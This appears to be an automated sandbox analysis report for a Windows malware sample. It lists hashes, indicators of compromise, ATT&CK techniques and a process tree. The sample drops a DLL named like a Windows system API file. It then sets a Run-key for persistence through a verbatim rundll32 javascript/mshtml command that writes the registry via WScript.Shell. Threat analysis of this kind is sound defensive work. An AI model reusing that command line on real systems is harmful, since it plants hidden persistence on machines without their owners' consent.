596263884d5474c2d3bb01238718eb30ce2c8539c99f66fa26b92171c6786c26

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
28-06-2024 11:50

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General

Target

lab_samples/6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe
Size

87KB
MD5

a579d53a1d29684de6d2c0cbabd525c5
SHA1

17661a04b4b150a6f70afdabe3fd9839cc56bee8
SHA256

6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82
SHA512

a98456792d7f7c83d0fe6be3ce6c48a4630a073b456848e0c8f614efe292a24fcf8d879ead5f2b418e5e29f46ae9356691383ba57e6066c5cacc0d47e675f817
SSDEEP

1536:PwjBg7Rj2r+65ofVkOu2avMtRsCtQqES1IVSJjXTmgacggNp:YjBY12G7uJvMnsGQhSYEmgacx

Score

8^/10

persistence

Malware Config

Signatures

Blocklisted process makes network request 3 IoCs

Processes:

rundll32.exe

flow pid process

4 1916 rundll32.exe
5 1916 rundll32.exe
7 1916 rundll32.exe
Loads dropped DLL 6 IoCs

Processes:

rundll32.exeWerFault.exe

pid process

1916 rundll32.exe
1916 rundll32.exe
1916 rundll32.exe
1916 rundll32.exe
2608 WerFault.exe
2608 WerFault.exe

flow	pid	process
4	1916	rundll32.exe
5	1916	rundll32.exe
7	1916	rundll32.exe

pid	process
1916	rundll32.exe
1916	rundll32.exe
1916	rundll32.exe
1916	rundll32.exe
2608	WerFault.exe
2608	WerFault.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

rundll32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\CheckDone = "RunDll32.exe \"C:\\Windows\\System32\\api-ms-win-core-advapi-l1-1-0.dll\",init"	rundll32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum rundll32.exe
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe

description ioc process

File created C:\Windows\SysWOW64\api-ms-win-core-advapi-l1-1-0.dll 6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2608 1916 WerFault.exe rundll32.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

rundll32.exe

pid process

1916 rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	rundll32.exe

description	ioc	process
File created	C:\Windows\SysWOW64\api-ms-win-core-advapi-l1-1-0.dll	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe

pid	pid_target	process	target process
2608	1916	WerFault.exe	rundll32.exe

pid	process
1916	rundll32.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exerundll32.exe

description	pid	process	target process
PID 2180 wrote to memory of 1704	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1704	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1704	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1704	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1704	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1704	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1704	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1916	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1916	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1916	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1916	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1916	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1916	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 2180 wrote to memory of 1916	2180	6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe	rundll32.exe
PID 1916 wrote to memory of 2608	1916	rundll32.exe	WerFault.exe
PID 1916 wrote to memory of 2608	1916	rundll32.exe	WerFault.exe
PID 1916 wrote to memory of 2608	1916	rundll32.exe	WerFault.exe
PID 1916 wrote to memory of 2608	1916	rundll32.exe	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\lab_samples\6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe
"C:\Users\Admin\AppData\Local\Temp\lab_samples\6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:2180

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript>"+(new%20ActiveXObject("WScript.Shell")).RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\CheckDone","RunDll32.exe%20\"C:\\Windows\\System32\\api-ms-win-core-advapi-l1-1-0.dll\",init","REG_SZ")+"\74/script>")
2⤵
- Adds Run key to start application
PID:1704

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll",init
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Maps connected drives based on registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1916 -s 800
3⤵
- Loads dropped DLL
- Program crash
PID:2608

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\Users\Admin\AppData\Local\Temp\api-ms-win-core-advapi-l1-1-0.dll
Filesize
36KB

MD5
75f71713a429589e87cf2656107d2bfc

SHA1
f7608ef62a45822e9300d390064e667028b75dea

SHA256
b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9

SHA512
cfadd55e93f00a91e9c6c3804725aa85e65e76039ec6021607ce7bb5dd30369329aae7cd11344c703094090e1f9be513988703f9a4cb8b2223464254a9104b93

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